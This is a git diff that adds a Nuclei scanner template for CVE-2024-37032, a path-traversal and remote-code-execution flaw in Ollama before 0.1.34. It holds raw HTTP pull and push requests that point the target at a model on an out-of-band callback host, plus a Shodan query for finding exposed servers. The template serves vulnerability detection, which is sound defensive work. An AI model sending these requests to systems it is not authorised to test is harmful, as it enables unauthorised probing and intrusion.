diff --git a/http/cves/2024/CVE-2024-37032.yaml b/http/cves/2024/CVE-2024-37032.yaml new file mode 100644 index 0000000000..62e5675801 --- /dev/null +++ b/http/cves/2024/CVE-2024-37032.yaml @@ -0,0 +1,40 @@ +id: CVE-2024-37032 + +info: + name: Ollama - Remote Code Execution + author: kaks3c + severity: critical + description: | + Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring. + reference: + - https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032 + - https://nvd.nist.gov/vuln/detail/CVE-2024-37032 + - https://github.com/Bi0x/CVE-2024-37032 + metadata: + verified: true + max-request: 1 + shodan-query: ollama + tags: cve,cve2024,ollama,rce + +http: + - raw: + - | + POST /api/pull HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true} + + - | + POST /api/push HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true} + + matchers: + - type: dsl + dsl: + - contains(interactsh_protocol, 'http') + - contains_all(header, 'application/x-ndjson') && contains(body_2, 'retrieving manifest') + condition: and